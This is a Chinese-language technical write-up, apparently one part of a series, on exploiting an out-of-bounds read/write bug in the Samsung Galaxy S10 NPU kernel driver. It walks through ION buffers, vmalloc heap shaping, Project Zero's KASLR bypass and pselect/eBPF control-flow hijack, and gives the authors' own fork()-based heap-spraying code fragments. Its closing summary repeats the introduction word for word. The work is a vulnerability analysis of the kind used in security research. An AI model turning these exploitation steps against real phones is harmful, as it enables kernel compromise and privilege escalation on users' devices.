关于Samsung Galaxy的NPU漏洞,谷歌安全团队Project Zero曾经专门撰文加以介绍;但是,在本文中,我们将为读者介绍另外一种不同的漏洞利用方法。由于该漏洞本身非常简单,因此,我们将重点放在如何获得AAR/AAW,以及如何绕过Samsung Galaxy的缓解措施(如SELinux和KNOX)方面。我们的测试工作是在Samsung Galaxy S10上完成的,对于Samsung Galaxy S20,这里介绍的方法应该同样有效。
(接上文)
ION分配器
ION分配器其实就是一个内存池管理器,在用户空间、内核和协处理器之间分配一些可共享的内存缓冲区。ION分配器的主要用途是分配DMA缓冲区,并与各种硬件组件共享该内存区域。
// drivers/staging/android/uapi/ion.h (Samsung Galaxy kernel source)
enum ion_heap_type {
ION_HEAP_TYPE_SYSTEM,
ION_HEAP_TYPE_SYSTEM_CONTIG,
ION_HEAP_TYPE_CARVEOUT,
ION_HEAP_TYPE_CHUNK,
ION_HEAP_TYPE_DMA,
ION_HEAP_TYPE_CUSTOM, /*
* must be last so device specific heaps always
* are at the end of this enum
*/
ION_HEAP_TYPE_CUSTOM2,
ION_HEAP_TYPE_HPA = ION_HEAP_TYPE_CUSTOM,
};
...
struct ion_allocation_data {
__u64 len;
__u32 heap_id_mask;
__u32 flags;
__u32 fd;
__u32 unused;
};
ION分配器有2个重要的结构体,其中struct ion_allocation_data用于为用户空间ioctl命令分配ION缓冲区,如果分配成功,则设置fd成员;另一个重要的结构体是enum ion_heap_type,用于在初始化阶段创建特定类型的内存池。
用户空间可以通过/dev/ion接口使用ION分配器,具体代码如下所示。
其中,结构体ion_allocation_data中的heap_id_mask成员用于选择我们需要的特定ION内存。
int prepare_ion_buffer(uint64_t size) {
int kr;
int ion_fd = open("/dev/ion", O_RDONLY);
struct ion_allocation_data data;
memset(&data, 0, sizeof(data));
data.allocation.len = size;
data.allocation.heap_id_mask = 1 << 1;
data.allocation.flags = ION_FLAG_CACHED;
if ((kr = ioctl(ion_fd, ION_IOC_ALLOC, &data)) < 0) {
return kr;
}
return data.allocation.fd;
}
...
void work() {
int dma_fd = prepare_ion_buffer(0x1000);
void *ion_buffer = mmap(NULL, 0x7000, PROT_READ|PROT_WRITE, MAP_SHARED, dma_fd, 0);
}
就我们的NPU来说,分配的ION缓冲区在ION_HEAP_map_kernel中被用来与NPU设备进行同步,同时,通过mmaping data.allocation.fd,该ION缓冲区也会同步到用户空间缓冲区。
漏洞分析
该漏洞同时存在于__pilot_parsing_ncp和__second_parsing_ncp函数中。
int __second_parsing_ncp(
struct npu_session *session,
struct temp_av **temp_IFM_av, struct temp_av **temp_OFM_av,
struct temp_av **temp_IMB_av, struct addr_info **WGT_av)
{
u32 address_vector_offset;
u32 address_vector_cnt;
u32 memory_vector_offset;
u32 memory_vector_cnt;
...
struct ncp_header *ncp;
struct address_vector *av;
struct memory_vector *mv;
...
char *ncp_vaddr;
...
ncp_vaddr = (char *)session->ncp_mem_buf->vaddr;
ncp = (struct ncp_header *)ncp_vaddr;
...
address_vector_offset = ncp->address_vector_offset;
address_vector_cnt = ncp->address_vector_cnt;
...
memory_vector_offset = ncp->memory_vector_offset;
memory_vector_cnt = ncp->memory_vector_cnt;
...
mv = (struct memory_vector *)(ncp_vaddr + memory_vector_offset);
av = (struct address_vector *)(ncp_vaddr + address_vector_offset);
...
for (i = 0; i < memory_vector_cnt; i++) {
u32 memory_type = (mv + i)->type;
u32 address_vector_index;
u32 weight_offset;
switch (memory_type) {
case MEMORY_TYPE_IN_FMAP:
{
address_vector_index = (mv + i)->address_vector_index;
if (!EVER_FIND_FM(IFM_cnt, *temp_IFM_av, address_vector_index)) {
(*temp_IFM_av + (*IFM_cnt))->index = address_vector_index;
(*temp_IFM_av + (*IFM_cnt))->size = (av + address_vector_index)->size;
(*temp_IFM_av + (*IFM_cnt))->pixel_format = (mv + i)->pixel_format;
(*temp_IFM_av + (*IFM_cnt))->width = (mv + i)->width;
(*temp_IFM_av + (*IFM_cnt))->height = (mv + i)->height;
(*temp_IFM_av + (*IFM_cnt))->channels = (mv + i)->channels;
...
但是,在__second_parsing_ncp函数中出现了非常严重的越界读/写漏洞。正如我们在上一节所说,session->ncp_mem_buf->vaddr存放的是用户的数据。
所以,address_vector_offset,address_vector_cnt,memory_vector_offset和memory_vector_cnt是由我们提供的数据进行初始化的。正如变量名称所示,address_vector_offset和memory_vector_offset是用来计算每个向量内存地址的。
但是,由于这里并没有进行边界检查,因此,我们可以让mv和av指向内核空间中的任意区域,并且通过mv和av,我们可以用边界之外的未知值来填充temp_IFM_av。
获取AAR/AAW原语
现在,我们已经能够进行越界读/写了,但如何将其转换为AAR/AAW原语呢?
首先,我们需要知道我们在哪里,以确定我们可以读/写内核中的哪些对象。由于ION缓冲区是通过vmalloc映射到NPU会话的,而这个区域会存在越界漏洞,因此,我们需要知道vmalloc的分配算法,以及通过vmalloc分配的对象是什么。
vmalloc?
在内核中,主要有2个内存分配API,具体如下所示:
- kmalloc
- vmalloc
实际上,kmalloc和vmalloc的主要区别是物理内存的连续性。kmalloc分配的内存不仅在物理内存空间中是连续的,而且在虚拟内存空间中也是连续的。另一方面,vmalloc将内存分配到几乎连续的内存中,但每一页在物理内存中都是碎片化的。
对于vmalloc来说,它一个非常重要的特性是它可以分配守护页(guard page)的内存。
// kernel/fork.c
static unsigned long *alloc_thread_stack_node(struct task_struct *tsk, int node)
{
#ifdef CONFIG_VMAP_STACK
void *stack;
...
stack = __vmalloc_node_range(THREAD_SIZE, THREAD_ALIGN,
VMALLOC_START, VMALLOC_END,
THREADINFO_GFP,
PAGE_KERNEL,
0, node, __builtin_return_address(0));
...
由于在ARM64中THREAD_SIZE是(1 << 14),所以每个内核线程栈的大小为4K。但每个内核线程栈都有类似下面的前/后保护页,以防止内核出现溢出漏洞。
所以,当我们在今年年初测试这个漏洞的时候,我们意识到,必须通过对堆进行塑型来利用这个漏洞。如果我们能像下面那样成功地对堆进行塑型,保护页对我们来说就不是障碍了,因为我们获得了强大的越界读写能力!
Google Project Zero的方法
如上所述,要成功地利用这个漏洞,我们需要像上面那样塑造堆。P0使用了一堆binder文件描述符和uesr线程来塑造堆。详细的方法和代码,大家可以在P0的文章中找到。
越界加法
他们在__second_parsing_ncp函数中直接使用了越界读/写。
在MEMORY_TYPE_WMASK的情况下,他们可以让(av + address_vector_index)->m_addr指向vmap-ed缓冲区的界外地址。所以,他们可以通过(av + address_vector_index)->m_addr = weight_offset + ncp_daddr;语句在ION缓冲区之任意的地址进行越界读/写。
int __second_parsing_ncp(
struct npu_session *session,
struct temp_av **temp_IFM_av, struct temp_av **temp_OFM_av,
struct temp_av **temp_IMB_av, struct addr_info **WGT_av)
{
...
struct address_vector *av;
...
address_vector_offset = ncp->address_vector_offset; /* u32 */
...
av = (struct address_vector *)(ncp_vaddr + address_vector_offset);
...
case MEMORY_TYPE_WMASK:
{
// update address vector, m_addr with ncp_alloc_daddr + offset
address_vector_index = (mv + i)->address_vector_index;
weight_offset = (av + address_vector_index)->m_addr;
if (weight_offset > (u32)session->ncp_mem_buf->size) {
ret = -EINVAL;
...
goto p_err;
}
(av + address_vector_index)->m_addr = weight_offset + ncp_daddr;
....
当然,由于他们的越界加法原语仅适用于ncp_daddr,他们需要设法控制ncp_daddr来获取一些想要的值。因为ncp_daddr是ION缓冲区的设备地址,所以,他们需要把ION缓冲区放到特定的位置,并且还要有特定的大小。他们通过大量的测试,使用类型编号为5的ION堆来解决了这个问题,这种堆通常会从低到高分配设备地址。
绕过KASLR
他们选择通过pselect()系统调用来利用内核空间的copy_to_user()。在pselect()系统调用中,目标线程任务将在执行copy_to_user()之前被阻塞,因此,在主exploit线程中,他们修改了copy_to_user()的参数size。
int core_sys_select(int n, fd_set __user *inp, fd_set __user *outp,
fd_set __user *exp, struct timespec64 *end_time)
{
...
ret = do_select(n, &fds, end_time);
...
if (set_fd_set(n, inp, fds.res_in) ||
set_fd_set(n, outp, fds.res_out) ||
set_fd_set(n, exp, fds.res_ex))
...
在这部分代码最有意思的是,即使n来自寄存器,当do_select被阻塞时,n也必定被溢出到堆栈。所以,如果溢出的n被越界写漏洞所修改,相应的字节数就会被复制到用户空间。
static inline unsigned long __must_check
set_fd_set(unsigned long nr, void __user *ufdset, unsigned long *fdset)
{
if (ufdset)
return __copy_to_user(ufdset, fdset, FDS_BYTES(nr));
return 0;
}
虽然在__copy_to_user()中进行了某些优化和安全检查,但他们成功地得到了未初始化的内核堆栈内容。
劫持控制流
通过控制栈内容实现ROP是非常复杂的一个任务。简单的说,他们为此还使用了pselect系统调用,因为当do_select()函数被poll_schedule_timeout()函数阻塞时,他们可以通过越界原语来修改n的值。所以,当解除阻塞后,for循环会在fds栈帧上运行,并且栈内容将被覆盖。
static int do_select(int n, fd_set_bits *fds, struct timespec64 *end_time)
{
...
retval = 0;
for (;;) {
...
inp = fds->in; outp = fds->out; exp = fds->ex;
rinp = fds->res_in; routp = fds->res_out; rexp = fds->res_ex;
//
for (i = 0; i < n; ++rinp, ++routp, ++rexp) {
...
in = *inp++; out = *outp++; ex = *exp++;
all_bits = in | out | ex;
if (all_bits == 0) {
i += BITS_PER_LONG;
continue;
}
//
for (j = 0, bit = 1; j < BITS_PER_LONG; ++j, ++i, bit <<= 1) {
struct fd f;
if (i >= n)
break;
if (!(bit & all_bits))
continue;
f = fdget(i);
if (f.file) {
...
if (f_op->poll) {
...
mask = (*f_op->poll)(f.file, wait);
}
fdput(f);
if ((mask & POLLIN_SET) && (in & bit)) {
res_in |= bit;
retval++;
...
}
...
}
}
if (res_in)
*rinp = res_in;
if (res_out)
*routp = res_out;
if (res_ex)
*rexp = res_ex;
cond_resched();
}
...
if (retval || timed_out || signal_pending(current))
break;
...
if (!poll_schedule_timeout(&table, TASK_INTERRUPTIBLE,
to, slack))
timed_out = 1;
}
...
return retval;
}
在内核中找到ROP后,他们进一步使用了eBPF系统,因为如果我们可以将X1寄存器的任意值传递给__bpf_prog_run(),我们就可以通过执行一连串的eBPF指令,来对任意的地址进行读写操作,并调用内核函数。
我们使用的方法
我们也像P0一样塑造了堆,但是没有使用binder的fd和用户线程,而是使用了fork()系统调用,因为它也调用了内核例程中的vmalloc。由于我们是在Samsung Galaxy S10 SM-973N上开发的exploit,所以,我们能得到的所有信息,都来自adb bugreport命令。
...
atomic_int *wait_count;
int parent_pipe[2];
int child_pipe[2];
int trig_pipe[2];
void *read_sleep_func(void *arg){
atomic_fetch_add(wait_count, 1);
syscall(__NR_read, trig_pipe[0], 0x41414141, 0x13371337, 0x42424242, 0x43434343);
return NULL;
}
...
int main(int argc, char *argv[]) {
...
pipe(parent_pipe);
pipe(child_pipe);
pipe(trig_pipe);
...
*wait_count = 0;
int par_pid = 0;
if (!(par_pid = fork())) {
for (int i = 0; i < 0x2000; i++) {
int pid = 0;
if (!(pid = fork())){
read_sleep_func(NULL);
return 0;
}
}
return 0;
}
...
if(leak(0xeec8) != 0x41414141){
write(trig_pipe[1], "A", 1); // child process kill
for (int i = ion_fd; i < 0x3ff; i++) {
close(i);
}
munmap(ncp_page, 0x7000);
goto retry;
}
...
通过一种非常启发式的方法,即检查内核崩溃是否发生,我们最终可以将子内核堆栈放置在ION缓冲区之后。
小结
关于Samsung Galaxy的NPU漏洞,谷歌安全团队Project Zero曾经专门撰文加以介绍;但是,在本文中,我们将为读者介绍另外一种不同的漏洞利用方法。由于该漏洞本身非常简单,因此,我们将重点放在如何获得AAR/AAW,以及如何绕过Samsung Galaxy的缓解措施(如SELinux和KNOX)方面。我们的测试工作是在Samsung Galaxy S10上完成的,对于Samsung Galaxy S20,这里介绍的方法应该同样有效。
(未完待续)